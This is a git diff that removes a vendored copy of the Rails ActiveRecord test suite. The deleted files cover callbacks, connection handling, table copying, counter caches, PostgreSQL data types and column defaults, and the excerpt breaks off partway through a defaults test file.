-      [ :before_validation_on_create, :string ],
-      [ :before_validation_on_create, :proc   ],
-      [ :before_validation_on_create, :object ],
-      [ :before_validation_on_create, :block  ],
-      [ :after_validation,            :string ],
-      [ :after_validation,            :proc   ],
-      [ :after_validation,            :object ],
-      [ :after_validation,            :block  ],
-      [ :after_validation_on_create,  :string ],
-      [ :after_validation_on_create,  :proc   ],
-      [ :after_validation_on_create,  :object ],
-      [ :after_validation_on_create,  :block  ],
-      [ :before_save,                 :string ],
-      [ :before_save,                 :proc   ],
-      [ :before_save,                 :object ],
-      [ :before_save,                 :block  ],
-      [ :before_create,               :string ],
-      [ :before_create,               :proc   ],
-      [ :before_create,               :object ],
-      [ :before_create,               :block  ],
-      [ :after_create,                :string ],
-      [ :after_create,                :proc   ],
-      [ :after_create,                :object ],
-      [ :after_create,                :block  ],
-      [ :after_save,                  :string ],
-      [ :after_save,                  :proc   ],
-      [ :after_save,                  :object ],
-      [ :after_save,                  :block  ]
-    ], david.history
-  end
-
-  def test_save
-    david = CallbackDeveloper.find(1)
-    david.save
-    assert_equal [
-      [ :after_find,            :string ],
-      [ :after_find,            :proc   ],
-      [ :after_find,            :object ],
-      [ :after_find,            :block  ],
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-      [ :before_validation,           :string ],
-      [ :before_validation,           :proc   ],
-      [ :before_validation,           :object ],
-      [ :before_validation,           :block  ],
-      [ :before_validation_on_update, :string ],
-      [ :before_validation_on_update, :proc   ],
-      [ :before_validation_on_update, :object ],
-      [ :before_validation_on_update, :block  ],
-      [ :after_validation,            :string ],
-      [ :after_validation,            :proc   ],
-      [ :after_validation,            :object ],
-      [ :after_validation,            :block  ],
-      [ :after_validation_on_update,  :string ],
-      [ :after_validation_on_update,  :proc   ],
-      [ :after_validation_on_update,  :object ],
-      [ :after_validation_on_update,  :block  ],
-      [ :before_save,                 :string ],
-      [ :before_save,                 :proc   ],
-      [ :before_save,                 :object ],
-      [ :before_save,                 :block  ],
-      [ :before_update,               :string ],
-      [ :before_update,               :proc   ],
-      [ :before_update,               :object ],
-      [ :before_update,               :block  ],
-      [ :after_update,                :string ],
-      [ :after_update,                :proc   ],
-      [ :after_update,                :object ],
-      [ :after_update,                :block  ],
-      [ :after_save,                  :string ],
-      [ :after_save,                  :proc   ],
-      [ :after_save,                  :object ],
-      [ :after_save,                  :block  ]
-    ], david.history
-  end
-
-  def test_destroy
-    david = CallbackDeveloper.find(1)
-    david.destroy
-    assert_equal [
-      [ :after_find,            :string ],
-      [ :after_find,            :proc   ],
-      [ :after_find,            :object ],
-      [ :after_find,            :block  ],
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-      [ :before_destroy,              :string ],
-      [ :before_destroy,              :proc   ],
-      [ :before_destroy,              :object ],
-      [ :before_destroy,              :block  ],
-      [ :after_destroy,               :string ],
-      [ :after_destroy,               :proc   ],
-      [ :after_destroy,               :object ],
-      [ :after_destroy,               :block  ]
-    ], david.history
-  end
-
-  def test_delete
-    david = CallbackDeveloper.find(1)
-    CallbackDeveloper.delete(david.id)
-    assert_equal [
-      [ :after_find,            :string ],
-      [ :after_find,            :proc   ],
-      [ :after_find,            :object ],
-      [ :after_find,            :block  ],
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-    ], david.history
-  end
-
-  def test_before_save_returning_false
-    david = ImmutableDeveloper.find(1)
-    assert david.valid?
-    assert !david.save
-    assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
-
-    david = ImmutableDeveloper.find(1)
-    david.salary = 10_000_000
-    assert !david.valid?
-    assert !david.save
-    assert_raise(ActiveRecord::RecordInvalid) { david.save! }
-
-    someone = CallbackCancellationDeveloper.find(1)
-    someone.cancel_before_save = true
-    assert someone.valid?
-    assert !someone.save
-    assert_save_callbacks_not_called(someone)
-  end
-
-  def test_before_create_returning_false
-    someone = CallbackCancellationDeveloper.new
-    someone.cancel_before_create = true
-    assert someone.valid?
-    assert !someone.save
-    assert_save_callbacks_not_called(someone)
-  end
-
-  def test_before_update_returning_false
-    someone = CallbackCancellationDeveloper.find(1)
-    someone.cancel_before_update = true
-    assert someone.valid?
-    assert !someone.save
-    assert_save_callbacks_not_called(someone)
-  end
-
-  def test_before_destroy_returning_false
-    david = ImmutableDeveloper.find(1)
-    assert !david.destroy
-    assert_not_nil ImmutableDeveloper.find_by_id(1)
-
-    someone = CallbackCancellationDeveloper.find(1)
-    someone.cancel_before_destroy = true
-    assert !someone.destroy
-    assert !someone.after_destroy_called
-  end
-
-  def assert_save_callbacks_not_called(someone)
-    assert !someone.after_save_called
-    assert !someone.after_create_called
-    assert !someone.after_update_called
-  end
-  private :assert_save_callbacks_not_called
-
-  def test_zzz_callback_returning_false # must be run last since we modify CallbackDeveloper
-    david = CallbackDeveloper.find(1)
-    CallbackDeveloper.before_validation proc { |model| model.history << [:before_validation, :returning_false]; return false }
-    CallbackDeveloper.before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
-    david.save
-    assert_equal [
-      [ :after_find,            :string ],
-      [ :after_find,            :proc   ],
-      [ :after_find,            :object ],
-      [ :after_find,            :block  ],
-      [ :after_initialize,            :string ],
-      [ :after_initialize,            :proc   ],
-      [ :after_initialize,            :object ],
-      [ :after_initialize,            :block  ],
-      [ :before_validation,           :string ],
-      [ :before_validation,           :proc   ],
-      [ :before_validation,           :object ],
-      [ :before_validation,           :block  ],
-      [ :before_validation, :returning_false  ]
-    ], david.history
-  end
-
-  def test_inheritence_of_callbacks
-    parent = ParentDeveloper.new
-    assert !parent.after_save_called
-    parent.save
-    assert parent.after_save_called
-
-    child = ChildDeveloper.new
-    assert !child.after_save_called
-    child.save
-    assert child.after_save_called
-  end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/class_inheritable_attributes_test.rb b/vendor/rails/activerecord/test/cases/class_inheritable_attributes_test.rb
deleted file mode 100644
index abeb63c5..00000000
--- a/vendor/rails/activerecord/test/cases/class_inheritable_attributes_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require 'test/unit'
-require "cases/helper"
-require 'active_support/core_ext/class/inheritable_attributes'
-
-class A
-  include ClassInheritableAttributes
-end
-
-class B < A
-  write_inheritable_array "first", [ :one, :two ]
-end
-
-class C < A
-  write_inheritable_array "first", [ :three ]
-end
-
-class D < B
-  write_inheritable_array "first", [ :four ]
-end
-
-
-class ClassInheritableAttributesTest < ActiveRecord::TestCase
-  def test_first_level
-    assert_equal [ :one, :two ], B.read_inheritable_attribute("first")
-    assert_equal [ :three ], C.read_inheritable_attribute("first")
-  end
-
-  def test_second_level
-    assert_equal [ :one, :two, :four ], D.read_inheritable_attribute("first")
-    assert_equal [ :one, :two ], B.read_inheritable_attribute("first")
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/column_alias_test.rb b/vendor/rails/activerecord/test/cases/column_alias_test.rb
deleted file mode 100644
index 40707d9c..00000000
--- a/vendor/rails/activerecord/test/cases/column_alias_test.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-
-class TestColumnAlias < ActiveRecord::TestCase
-  fixtures :topics
-
-  QUERY = if 'Oracle' == ActiveRecord::Base.connection.adapter_name
-            'SELECT id AS pk FROM topics WHERE ROWNUM < 2'
-          else
-            'SELECT id AS pk FROM topics'
-          end
-
-  def test_column_alias
-    records = Topic.connection.select_all(QUERY)
-    assert_equal 'pk', records[0].keys[0]
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/column_definition_test.rb b/vendor/rails/activerecord/test/cases/column_definition_test.rb
deleted file mode 100644
index fc9a0ac9..00000000
--- a/vendor/rails/activerecord/test/cases/column_definition_test.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-require "cases/helper"
-
-class ColumnDefinitionTest < ActiveRecord::TestCase
-  def setup
-    @adapter = ActiveRecord::ConnectionAdapters::AbstractAdapter.new(nil)
-    def @adapter.native_database_types
-      {:string => "varchar"}
-    end
-  end
-
-  # Avoid column definitions in create table statements like:
-  # `title` varchar(255) DEFAULT NULL
-  def test_should_not_include_default_clause_when_default_is_null
-    column = ActiveRecord::ConnectionAdapters::Column.new("title", nil, "varchar(20)")
-    column_def = ActiveRecord::ConnectionAdapters::ColumnDefinition.new(
-      @adapter, column.name, "string",
-      column.limit, column.precision, column.scale, column.default, column.null)
-    assert_equal "title varchar(20)", column_def.to_sql
-  end
-
-  def test_should_include_default_clause_when_default_is_present
-    column = ActiveRecord::ConnectionAdapters::Column.new("title", "Hello", "varchar(20)")
-    column_def = ActiveRecord::ConnectionAdapters::ColumnDefinition.new(
-      @adapter, column.name, "string",
-      column.limit, column.precision, column.scale, column.default, column.null)
-    assert_equal %Q{title varchar(20) DEFAULT 'Hello'}, column_def.to_sql
-  end
-
-  def test_should_specify_not_null_if_null_option_is_false
-    column = ActiveRecord::ConnectionAdapters::Column.new("title", "Hello", "varchar(20)", false)
-    column_def = ActiveRecord::ConnectionAdapters::ColumnDefinition.new(
-      @adapter, column.name, "string",
-      column.limit, column.precision, column.scale, column.default, column.null)
-    assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, column_def.to_sql
-  end
-
-  if current_adapter?(:MysqlAdapter)
-    def test_should_set_default_for_mysql_binary_data_types
-      binary_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "binary(1)")
-      assert_equal "a", binary_column.default
-
-      varbinary_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "varbinary(1)")
-      assert_equal "a", varbinary_column.default
-    end
-
-    def test_should_not_set_default_for_blob_and_text_data_types
-      assert_raise ArgumentError do
-        ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "a", "blob")
-      end
-
-      assert_raise ArgumentError do
-        ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", "Hello", "text")
-      end
-
-      text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text")
-      assert_equal nil, text_column.default
-
-      not_null_text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text", false)
-      assert_equal "", not_null_text_column.default
-    end
-
-    def test_has_default_should_return_false_for_blog_and_test_data_types
-      blob_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "blob")
-      assert !blob_column.has_default?
-
-      text_column = ActiveRecord::ConnectionAdapters::MysqlColumn.new("title", nil, "text")
-      assert !text_column.has_default?
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/connection_pool_test.rb b/vendor/rails/activerecord/test/cases/connection_pool_test.rb
deleted file mode 100644
index cc9b2a45..00000000
--- a/vendor/rails/activerecord/test/cases/connection_pool_test.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require "cases/helper"
-
-class ConnectionManagementTest < ActiveRecord::TestCase
-  def setup
-    @env = {}
-    @app = stub('App')
-    @management = ActiveRecord::ConnectionAdapters::ConnectionManagement.new(@app)
-    
-    @connections_cleared = false
-    ActiveRecord::Base.stubs(:clear_active_connections!).with { @connections_cleared = true }
-  end
-  
-  test "clears active connections after each call" do
-    @app.expects(:call).with(@env)
-    @management.call(@env)
-    assert @connections_cleared
-  end
-  
-  test "doesn't clear active connections when running in a test case" do
-    @env['rack.test'] = true
-    @app.expects(:call).with(@env)
-    @management.call(@env)
-    assert !@connections_cleared
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/cases/connection_test_firebird.rb b/vendor/rails/activerecord/test/cases/connection_test_firebird.rb
deleted file mode 100644
index f57ea686..00000000
--- a/vendor/rails/activerecord/test/cases/connection_test_firebird.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-
-class FirebirdConnectionTest < ActiveRecord::TestCase
-  def test_charset_properly_set
-    fb_conn = ActiveRecord::Base.connection.instance_variable_get(:@connection)
-    assert_equal 'UTF8', fb_conn.database.character_set
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/connection_test_mysql.rb b/vendor/rails/activerecord/test/cases/connection_test_mysql.rb
deleted file mode 100644
index ddec85b5..00000000
--- a/vendor/rails/activerecord/test/cases/connection_test_mysql.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-require "cases/helper"
-
-class MysqlConnectionTest < ActiveRecord::TestCase
-  def setup
-    super
-    @connection = ActiveRecord::Base.connection
-  end
-
-  def test_mysql_reconnect_attribute_after_connection_with_reconnect_true
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => true}))
-      assert ActiveRecord::Base.connection.raw_connection.reconnect
-    end
-  end
-
-  def test_mysql_reconnect_attribute_after_connection_with_reconnect_false
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => false}))
-      assert !ActiveRecord::Base.connection.raw_connection.reconnect
-    end
-  end
-
-  def test_no_automatic_reconnection_after_timeout
-    assert @connection.active?
-    @connection.update('set @@wait_timeout=1')
-    sleep 2
-    assert !@connection.active?
-  end
-
-  def test_successful_reconnection_after_timeout_with_manual_reconnect
-    assert @connection.active?
-    @connection.update('set @@wait_timeout=1')
-    sleep 2
-    @connection.reconnect!
-    assert @connection.active?
-  end
-
-  def test_successful_reconnection_after_timeout_with_verify
-    assert @connection.active?
-    @connection.update('set @@wait_timeout=1')
-    sleep 2
-    @connection.verify!
-    assert @connection.active?
- end
-
-  # Test that MySQL allows multiple results for stored procedures
-  if Mysql.const_defined?(:CLIENT_MULTI_RESULTS)
-    def test_multi_results
-      rows = ActiveRecord::Base.connection.select_rows('CALL ten();')
-      assert_equal 10, rows[0][0].to_i, "ten() did not return 10 as expected: #{rows.inspect}"
-      assert @connection.active?, "Bad connection use by 'MysqlAdapter.select_rows'"
-    end
-  end
-
-  private
-
-  def run_without_connection
-    original_connection = ActiveRecord::Base.remove_connection
-    begin
-      yield original_connection
-    ensure
-      ActiveRecord::Base.establish_connection(original_connection)
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/copy_table_test_sqlite.rb b/vendor/rails/activerecord/test/cases/copy_table_test_sqlite.rb
deleted file mode 100644
index de8af309..00000000
--- a/vendor/rails/activerecord/test/cases/copy_table_test_sqlite.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-require "cases/helper"
-
-class CopyTableTest < ActiveRecord::TestCase
-  fixtures :companies, :comments
-
-  def setup
-    @connection = ActiveRecord::Base.connection
-    class << @connection
-      public :copy_table, :table_structure, :indexes
-    end
-  end
-
-  def test_copy_table(from = 'customers', to = 'customers2', options = {})
-    assert_nothing_raised {copy_table(from, to, options)}
-    assert_equal row_count(from), row_count(to)
-
-    if block_given?
-      yield from, to, options
-    else
-      assert_equal column_names(from), column_names(to)
-    end
-
-    @connection.drop_table(to) rescue nil
-  end
-
-  def test_copy_table_renaming_column
-    test_copy_table('customers', 'customers2',
-        :rename => {'name' => 'person_name'}) do |from, to, options|
-      expected = column_values(from, 'name')
-      assert expected.any?, 'only nils in resultset; real values are needed'
-      assert_equal expected, column_values(to, 'person_name')
-    end
-  end
-
-  def test_copy_table_with_index
-    test_copy_table('comments', 'comments_with_index') do
-      @connection.add_index('comments_with_index', ['post_id', 'type'])
-      test_copy_table('comments_with_index', 'comments_with_index2') do
-        assert_equal table_indexes_without_name('comments_with_index'),
-                     table_indexes_without_name('comments_with_index2')
-      end
-    end
-  end
-
-  def test_copy_table_without_primary_key
-    test_copy_table('developers_projects', 'programmers_projects')
-  end
-
-  def test_copy_table_with_id_col_that_is_not_primary_key
-    test_copy_table('goofy_string_id', 'goofy_string_id2') do |from, to, options|
-      original_id = @connection.columns('goofy_string_id').detect{|col| col.name == 'id' }
-      copied_id = @connection.columns('goofy_string_id2').detect{|col| col.name == 'id' }
-      assert_equal original_id.type, copied_id.type
-      assert_equal original_id.sql_type, copied_id.sql_type
-      assert_equal original_id.limit, copied_id.limit
-      assert_equal original_id.primary, copied_id.primary
-    end
-  end
-
-protected
-  def copy_table(from, to, options = {})
-    @connection.copy_table(from, to, {:temporary => true}.merge(options))
-  end
-
-  def column_names(table)
-    @connection.table_structure(table).map {|column| column['name']}
-  end
-
-  def column_values(table, column)
-    @connection.select_all("SELECT #{column} FROM #{table} ORDER BY id").map {|row| row[column]}
-  end
-
-  def table_indexes_without_name(table)
-    @connection.indexes('comments_with_index').delete(:name)
-  end
-
-  def row_count(table)
-    @connection.select_one("SELECT COUNT(*) AS count FROM #{table}")['count']
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/counter_cache_test.rb b/vendor/rails/activerecord/test/cases/counter_cache_test.rb
deleted file mode 100755
index acfd28c0..00000000
--- a/vendor/rails/activerecord/test/cases/counter_cache_test.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require 'cases/helper'
-require 'models/topic'
-require 'models/reply'
-require 'models/category'
-require 'models/categorization'
-
-class CounterCacheTest < ActiveRecord::TestCase
-  fixtures :topics, :categories, :categorizations
-
-  class SpecialTopic < ::Topic
-    has_many :special_replies, :foreign_key => 'parent_id'
-  end
-
-  class SpecialReply < ::Reply
-    belongs_to :special_topic, :foreign_key => 'parent_id', :counter_cache => 'replies_count'
-  end
-
-  test "increment counter" do
-    topic = Topic.find(1)
-    assert_difference 'topic.reload.replies_count' do
-      Topic.increment_counter(:replies_count, topic.id)
-    end
-  end
-
-  test "decrement counter" do
-    topic = Topic.find(1)
-    assert_difference 'topic.reload.replies_count', -1 do
-      Topic.decrement_counter(:replies_count, topic.id)
-    end
-  end
-
-  test "reset counters" do
-    topic = Topic.find(1)
-    # throw the count off by 1
-    Topic.increment_counter(:replies_count, topic.id)
-
-    # check that it gets reset
-    assert_difference 'topic.reload.replies_count', -1 do
-      Topic.reset_counters(topic.id, :replies)
-    end
-  end
-  
-  test "reset counters with string argument" do
-    topic = Topic.find(1)
-    Topic.increment_counter('replies_count', topic.id)
-
-    assert_difference 'topic.reload.replies_count', -1 do
-      Topic.reset_counters(topic.id, 'replies')
-    end
-  end
-
-  test "reset counters with modularized and camelized classnames" do
-    special = SpecialTopic.create!(:title => 'Special')
-    SpecialTopic.increment_counter(:replies_count, special.id)
-
-    assert_difference 'special.reload.replies_count', -1 do
-      SpecialTopic.reset_counters(special.id, :special_replies)
-    end
-  end
-
-  test "update counter with initial null value" do
-    category = categories(:general)
-    assert_equal 2, category.categorizations.count
-    assert_nil category.categorizations_count
-
-    Category.update_counters(category.id, :categorizations_count => category.categorizations.count)
-    assert_equal 2, category.reload.categorizations_count
-  end
-
-  test "update counter for decrement" do
-    topic = Topic.find(1)
-    assert_difference 'topic.reload.replies_count', -3 do
-      Topic.update_counters(topic.id, :replies_count => -3)
-    end
-  end
-
-  test "update counters of multiple records" do
-    t1, t2 = topics(:first, :second)
-
-    assert_difference ['t1.reload.replies_count', 't2.reload.replies_count'], 2 do
-      Topic.update_counters([t1.id, t2.id], :replies_count => 2)
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/database_statements_test.rb b/vendor/rails/activerecord/test/cases/database_statements_test.rb
deleted file mode 100644
index 6274d525..00000000
--- a/vendor/rails/activerecord/test/cases/database_statements_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require "cases/helper"
-
-class DatabaseStatementsTest < ActiveRecord::TestCase
-  def setup
-    @connection = ActiveRecord::Base.connection
-  end
-
-  def test_insert_should_return_the_inserted_id
-    id = @connection.insert("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)")
-    assert_not_nil id
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb b/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb
deleted file mode 100644
index 88fb6f73..00000000
--- a/vendor/rails/activerecord/test/cases/datatype_test_postgresql.rb
+++ /dev/null
@@ -1,204 +0,0 @@
-require "cases/helper"
-
-class PostgresqlArray < ActiveRecord::Base
-end
-
-class PostgresqlMoney < ActiveRecord::Base
-end
-
-class PostgresqlNumber < ActiveRecord::Base
-end
-
-class PostgresqlTime < ActiveRecord::Base
-end
-
-class PostgresqlNetworkAddress < ActiveRecord::Base
-end
-
-class PostgresqlBitString < ActiveRecord::Base
-end
-
-class PostgresqlOid < ActiveRecord::Base
-end
-
-class PostgresqlDataTypeTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  def setup
-    @connection = ActiveRecord::Base.connection
-    @connection.execute("set lc_monetary = 'C'")
-
-    @connection.execute("INSERT INTO postgresql_arrays (commission_by_quarter, nicknames) VALUES ( '{35000,21000,18000,17000}', '{foo,bar,baz}' )")
-    @first_array = PostgresqlArray.find(1)
-
-    @connection.execute("INSERT INTO postgresql_moneys (wealth) VALUES ('567.89'::money)")
-    @connection.execute("INSERT INTO postgresql_moneys (wealth) VALUES ('-567.89'::money)")
-    @first_money = PostgresqlMoney.find(1)
-    @second_money = PostgresqlMoney.find(2)
-
-    @connection.execute("INSERT INTO postgresql_numbers (single, double) VALUES (123.456, 123456.789)")
-    @first_number = PostgresqlNumber.find(1)
-
-    @connection.execute("INSERT INTO postgresql_times (time_interval) VALUES ('1 year 2 days ago')")
-    @first_time = PostgresqlTime.find(1)
-
-    @connection.execute("INSERT INTO postgresql_network_addresses (cidr_address, inet_address, mac_address) VALUES('192.168.0/24', '172.16.1.254/32', '01:23:45:67:89:0a')")
-    @first_network_address = PostgresqlNetworkAddress.find(1)
-
-    @connection.execute("INSERT INTO postgresql_bit_strings (bit_string, bit_string_varying) VALUES (B'00010101', X'15')")
-    @first_bit_string = PostgresqlBitString.find(1)
-
-    @connection.execute("INSERT INTO postgresql_oids (obj_id) VALUES (1234)")
-    @first_oid = PostgresqlOid.find(1)
-  end
-
-  def test_data_type_of_array_types
-    assert_equal :string, @first_array.column_for_attribute(:commission_by_quarter).type
-    assert_equal :string, @first_array.column_for_attribute(:nicknames).type
-  end
-
-  def test_data_type_of_money_types
-    assert_equal :decimal, @first_money.column_for_attribute(:wealth).type
-  end
-
-  def test_data_type_of_number_types
-    assert_equal :float, @first_number.column_for_attribute(:single).type
-    assert_equal :float, @first_number.column_for_attribute(:double).type
-  end
-
-  def test_data_type_of_time_types
-    assert_equal :string, @first_time.column_for_attribute(:time_interval).type
-  end
-
-  def test_data_type_of_network_address_types
-    assert_equal :string, @first_network_address.column_for_attribute(:cidr_address).type
-    assert_equal :string, @first_network_address.column_for_attribute(:inet_address).type
-    assert_equal :string, @first_network_address.column_for_attribute(:mac_address).type
-  end
-
-  def test_data_type_of_bit_string_types
-    assert_equal :string, @first_bit_string.column_for_attribute(:bit_string).type
-    assert_equal :string, @first_bit_string.column_for_attribute(:bit_string_varying).type
-  end
-
-  def test_data_type_of_oid_types
-    assert_equal :integer, @first_oid.column_for_attribute(:obj_id).type
-  end
-
-  def test_array_values
-   assert_equal '{35000,21000,18000,17000}', @first_array.commission_by_quarter
-   assert_equal '{foo,bar,baz}', @first_array.nicknames
-  end
-
-  def test_money_values
-    assert_equal 567.89, @first_money.wealth
-    assert_equal -567.89, @second_money.wealth
-  end
-
-  def test_number_values
-    assert_equal 123.456, @first_number.single
-    assert_equal 123456.789, @first_number.double
-  end
-
-  def test_time_values
-    assert_equal '-1 years -2 days', @first_time.time_interval
-  end
-
-  def test_network_address_values
-    assert_equal '192.168.0.0/24', @first_network_address.cidr_address
-    assert_equal '172.16.1.254', @first_network_address.inet_address
-    assert_equal '01:23:45:67:89:0a', @first_network_address.mac_address
-  end
-
-  def test_bit_string_values
-    assert_equal '00010101', @first_bit_string.bit_string
-    assert_equal '00010101', @first_bit_string.bit_string_varying
-  end
-
-  def test_oid_values
-    assert_equal 1234, @first_oid.obj_id
-  end
-
-  def test_update_integer_array
-    new_value = '{32800,95000,29350,17000}'
-    assert @first_array.commission_by_quarter = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal @first_array.commission_by_quarter, new_value
-    assert @first_array.commission_by_quarter = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal @first_array.commission_by_quarter, new_value
-  end
-
-  def test_update_text_array
-    new_value = '{robby,robert,rob,robbie}'
-    assert @first_array.nicknames = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal @first_array.nicknames, new_value
-    assert @first_array.nicknames = new_value
-    assert @first_array.save
-    assert @first_array.reload
-    assert_equal @first_array.nicknames, new_value
-  end
-
-  def test_update_money
-    new_value = BigDecimal.new('123.45')
-    assert @first_money.wealth = new_value
-    assert @first_money.save
-    assert @first_money.reload
-    assert_equal new_value, @first_money.wealth
-  end
-
-  def test_update_number
-    new_single = 789.012
-    new_double = 789012.345
-    assert @first_number.single = new_single
-    assert @first_number.double = new_double
-    assert @first_number.save
-    assert @first_number.reload
-    assert_equal @first_number.single, new_single
-    assert_equal @first_number.double, new_double
-  end
-
-  def test_update_time
-    assert @first_time.time_interval = '2 years 3 minutes'
-    assert @first_time.save
-    assert @first_time.reload
-    assert_equal @first_time.time_interval, '2 years 00:03:00'
-  end
-
-  def test_update_network_address
-    new_cidr_address = '10.1.2.3/32'
-    new_inet_address = '10.0.0.0/8'
-    new_mac_address = 'bc:de:f0:12:34:56'
-    assert @first_network_address.cidr_address = new_cidr_address
-    assert @first_network_address.inet_address = new_inet_address
-    assert @first_network_address.mac_address = new_mac_address
-    assert @first_network_address.save
-    assert @first_network_address.reload
-    assert_equal @first_network_address.cidr_address, new_cidr_address
-    assert_equal @first_network_address.inet_address, new_inet_address
-    assert_equal @first_network_address.mac_address, new_mac_address
-  end
-
-  def test_update_bit_string
-    new_bit_string = '11111111'
-    new_bit_string_varying = 'FF'
-    assert @first_bit_string.bit_string = new_bit_string
-    assert @first_bit_string.bit_string_varying = new_bit_string_varying
-    assert @first_bit_string.save
-    assert @first_bit_string.reload
-    assert_equal @first_bit_string.bit_string, new_bit_string
-    assert_equal @first_bit_string.bit_string, @first_bit_string.bit_string_varying
-  end
-
-  def test_update_oid
-    new_value = 567890
-    assert @first_oid.obj_id = new_value
-    assert @first_oid.save
-    assert @first_oid.reload
-    assert_equal @first_oid.obj_id, new_value
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/date_time_test.rb b/vendor/rails/activerecord/test/cases/date_time_test.rb
deleted file mode 100644
index 36e1caa0..00000000
--- a/vendor/rails/activerecord/test/cases/date_time_test.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/task'
-
-class DateTimeTest < ActiveRecord::TestCase
-  def test_saves_both_date_and_time
-    time_values = [1807, 2, 10, 15, 30, 45]
-    now = DateTime.civil(*time_values)
-
-    task = Task.new
-    task.starting = now
-    task.save!
-
-    # check against Time.local_time, since some platforms will return a Time instead of a DateTime
-    assert_equal Time.local_time(*time_values), Task.find(task.id).starting
-  end
-
-  def test_assign_empty_date_time
-    task = Task.new
-    task.starting = ''
-    task.ending = nil
-    assert_nil task.starting
-    assert_nil task.ending
-  end
-
-  def test_assign_empty_date
-    topic = Topic.new
-    topic.last_read = ''
-    assert_nil topic.last_read
-  end
-
-  def test_assign_empty_time
-    topic = Topic.new
-    topic.bonus_time = ''
-    assert_nil topic.bonus_time
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/default_test_firebird.rb b/vendor/rails/activerecord/test/cases/default_test_firebird.rb
deleted file mode 100644
index 713c7e11..00000000
--- a/vendor/rails/activerecord/test/cases/default_test_firebird.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require "cases/helper"
-require 'models/default'
-
-class DefaultTest < ActiveRecord::TestCase
-  def test_default_timestamp
-    default = Default.new
-    assert_instance_of(Time, default.default_timestamp)
-    assert_equal(:datetime, default.column_for_attribute(:default_timestamp).type)
-
-    # Variance should be small; increase if required -- e.g., if test db is on
-    # remote host and clocks aren't synchronized.
-    t1 = Time.new
-    accepted_variance = 1.0
-    assert_in_delta(t1.to_f, default.default_timestamp.to_f, accepted_variance)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/defaults_test.rb b/vendor/rails/activerecord/test/cases/defaults_test.rb
deleted file mode 100644
index b4032c23..00000000
--- a/vendor/rails/activerecord/test/cases/defaults_test.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-require "cases/helper"
-require 'models/default'
-require 'models/entrant'
-
-class DefaultTest < ActiveRecord::TestCase
-  def test_nil_defaults_for_not_null_columns
-    column_defaults =
-      if current_adapter?(:MysqlAdapter) && (Mysql.client_version < 50051 || (50100..50122).include?(Mysql.client_version))
-        { 'id' => nil, 'name' => '',  'course_id' => nil }
-      else
-        { 'id' => nil, 'name' => nil, 'course_id' => nil }
-      end
-
-    column_defaults.each do |name, default|
-      column = Entrant.columns_hash[name]
-      assert !column.null, "#{name} column should be NOT NULL"
-      assert_equal default, column.default, "#{name} column should be DEFAULT #{default.inspect}"
-    end
-  end
-
-  if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
-    def test_default_integers
-      default = Default.new
-      assert_instance_of Fixnum, default.positive_integer
-      assert_equal 1, default.positive_integer
-      assert_instance_of Fixnum, default.negative_integer
-      assert_equal -1, default.negative_integer
-      assert_instance_of BigDecimal, default.decimal_number
-      assert_equal BigDecimal.new("2.78"), default.decimal_number
-    end
-  end
-  
-  if current_adapter?(:PostgreSQLAdapter)
-    def test_multiline_default_text
-      # older postgres versions represent the default with escapes ("\\012" for a newline)
-      assert ( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
-               "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
-    end
-  end
-end
-
-if current_adapter?(:MysqlAdapter)
-  class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
